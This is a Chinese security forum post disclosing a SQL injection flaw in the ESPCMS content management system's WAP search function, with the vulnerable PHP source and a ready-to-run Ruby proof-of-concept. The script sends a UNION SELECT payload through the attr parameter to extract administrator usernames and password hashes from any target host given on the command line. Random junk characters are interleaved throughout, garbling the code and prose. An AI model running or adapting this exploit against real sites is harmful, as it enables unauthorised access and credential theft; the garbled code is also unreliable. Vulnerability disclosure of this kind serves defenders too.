找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2409|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
' ^3 M8 J- Y0 l4 l/ Z$ D2 l" G0×2 PoC+ H, v& N: G$ }! f( f) C
! h$ p3 q" t* s) x' D

' f/ v6 N4 T% b2 D9 y- O$ j2 m* C9 K
0×0 漏洞概述
9 H, c# A+ T& x3 a- ]# d2 w7 i: |% l
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。6 j2 C) U% a% g& Q8 j
其在处理传入的参数时考虑不严谨导致SQL注入发生
# T9 l) m; m* T) `4 z: @$ q
9 I0 D7 u+ p' n6 {7 ?' n: L2 i5 A- k) q0 Q. ~8 |! s
0×1 漏洞细节, Q1 D% g* h& ^7 d. b' x+ ~
# v) `# N' ~1 L' ~
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。8 L. R, h0 {7 ^- F( R8 H# y" \
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。- G/ a& X. `- M( Z! ]0 J
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
; K, c2 e" W5 u6 o4 j
" F* Y& ~- g1 y1 f- n- a: g# G! F在/interface/3gwap_search.php文件的in_result函数中:) v* L8 H1 Z, \0 _6 ^

: O+ |( _! n9 D7 N. N, H% g! W
) \+ I, \6 r5 [
% ?% d& G# \# J) U       function in_result() {7 Z6 f8 F+ d# N4 p7 V' [
            ... ... ... ... ... ... ... ... ...
% g; o. [2 i9 y0 T            $urlcode = $_SERVER[ 'QUERY_STRING '];
1 A& F6 ]8 I* @: e, p9 X            parse_str(html_entity_decode($urlcode), $output);
5 f8 u6 A0 Z9 X: i
+ c5 M- X+ b, T" [' m4 L' m/ w            ... ... ... ... ... ... ... ... ...
# R8 V) g  c; Q, l' s: x            if (is_array($output['attr' ]) && count($output['attr']) > 0) {7 ~2 I2 C' N9 a  X! \0 \
4 n$ h& N1 L9 F( G
                  $db_table = db_prefix . 'model_att';
% t# V) H* m' J3 q/ H) K# c( T$ B) S# p1 r
                   foreach ($output['attr' ] as $key => $value) {
2 h+ P" X& A5 s" K; B                         if ($value) {7 D( |5 f  k, R: {( V% e
% Q7 Q0 J$ c- ~8 s: K
                              $key = addslashes($key);
" B& O) s7 C& `, m                              $key = $this-> fun->inputcodetrim($key);
* c" n( Z8 M/ i4 M2 y1 r: D                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";. ]# g9 H/ Y$ h% I2 r
                              $countnum = $this->db_numrows($db_table, $db_att_where);5 s( S& D6 g6 b: k" b- I& _
                               if ($countnum > 0) {
$ c/ E/ s/ W: y* U$ G                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
1 S4 t) @8 Q1 C% ^' M( O                              }1 G) U+ n1 p0 W
                        }8 w! S; |0 t! N  r& Z8 I+ n, E
                  }
3 c4 i! ~# d) \            }4 C* |5 D' L( K& x0 g- P6 M" J
            if (!empty ($keyword) && empty($keyname)) {3 P7 k3 R, Y) W! N9 O: P, n) d
                  $keyname = 'title';8 s% ^1 f* A; k0 I. T
                  $db_where.= " AND a.title like '%$keyword%'" ;& u3 @% d1 ^) P
            } elseif (!empty ($keyword) && !empty($keyname)) {, j3 y' A. Q2 h. J8 m
                  $db_where.= " AND $keyname like '% $keyword%'";
0 s$ ^! Z* {, w' r! k& x            }
+ J% g: c* n4 y; @5 X5 d6 b$ h. s            $pagemax = 15;
+ m+ z* n0 p* `0 @" w2 w1 w  A
4 c& K( J, ~( E' t. b4 M            $pagesylte = 1;
6 c! ]) O- ^: K' t- \1 N( A3 q2 Z) k/ l( M: ]
             if ($countnum > 0) {9 {+ P" ^: x5 p8 d

) ?1 x4 O; t* l, s+ M                  $numpage = ceil($countnum / $pagemax);! i3 }" d2 w, i( {" q* \( O" M
            } else {! c: b$ [; F& _/ H
                  $numpage = 1;
. y, h0 l. r6 U! s            }
6 Y) o/ }& J, `3 ^1 S            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;9 }( C/ y  v, ]4 ?# a+ a( j
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);- ^% [1 g8 j- S5 o  s0 S- T4 R
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
0 x& y  J; m, A5 u" Z: |+ o            ... ... ... ... ... ... ... ... ...
) W0 K: o( q- c5 `% V      }: P  j5 ]9 x: E8 I- d6 H- h
! c: ~1 Q' G4 a9 k4 n) g4 ~  H, ]
. m  l9 f# G* t! q0 d$ J4 Q+ P
0×2 PoC
* ?5 d- S% K$ a3 R3 A- |4 T' B( V  _
; S+ o; h, u, W) J& f* X0 L# S

( X; H' `, B8 d1 Z; Xrequire "net/http"
- w) n5 n3 _" ]$ G
0 f- L: I3 O" p, _- Udef request(method, url)
; u; g3 X& {/ j7 r0 u. `+ Z    if method.eql?("get")* f3 ]. |8 \6 b3 |2 R
        uri = URI.parse(url)9 w2 v  w9 Q% N  t
        http = Net::HTTP.new(uri.host, uri.port): r! S6 V  `% ?7 S& K& D5 f% m* k
        response = http.request(Net::HTTP::Get.new(uri.request_uri))( H+ {; m& B% s
        return response! x* P% f& j: _( c6 I, P2 z
    end1 F) B! `0 w5 m' ^
end; m! C2 l$ K9 r& f
4 _) |/ a2 }) e+ ^/ X: D
doc =<<HERE- \9 C; u3 v/ C8 D( t
-------------------------------------------------------5 t( P! }+ Y$ T) e. N! L! {! P2 ^" ]
Espcms Injection Exploit7 Z' a: N1 S0 l7 l- N
Author:ztz
: O& P7 _' g5 }! d) ^  a1 SBlog:http://ztz.fuzzexp.org/
/ T+ t% I, Y+ ?! F$ y& Q- |7 j9 L-------------------------------------------------------% }6 x/ ?1 J9 p

. y" g) g* M3 o8 u: iHERE
( z" U' T' H' G8 B" W, c2 B# o+ S& Y4 n4 j1 [
usage =<<HERE" ?* Y: r* h" ?. J# B
Usage:         ruby #{$0} host port path
& N- c2 H$ b1 @( m4 [. mexample:     ruby #{$0} www.target.com 80 /
+ M2 z$ l' c! R9 [HERE
4 e0 v; i( x4 k8 Y2 x- v
# S9 k7 Y0 ^* ~5 Hputs doc( V3 M! e8 N* V) F" n1 B
if ARGV.length < 3
( }# a& n/ Z% J  F! F    puts usage. a: j0 k, T; s6 r3 I; ~
else
! R: R  P7 U9 {1 W1 q    $host = ARGV[0]
& d2 e6 H. C7 r* U    $port = ARGV[1]
" |  y% f4 J" n9 H" {    $path = ARGV[2]
1 E8 u) B/ e. B" I' n7 _( a7 ^
+ L0 m8 {1 N1 T) t4 o  T9 t    puts "
  • send request..."4 W9 V& p$ B! b9 O, K
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&4 \) O, ?7 H: ]$ W3 A! k
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,137 E( _9 k7 j" p% E, I4 S( C
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,276 r  d0 {* W8 C) N
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"4 [+ _8 }& g# ^$ S+ F. \2 F: e
        response = request("get", url)
    4 V$ ]3 a" n5 J! L    result = response.body.scan(/\w+&\w{32}/): H1 Q7 D7 `/ z2 W
        puts result, W  Z6 j& e7 ]/ Z) J3 W
    end8 T5 u6 E' b6 g4 p( Z
    # B% E- {3 t% U7 U2 z+ S
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表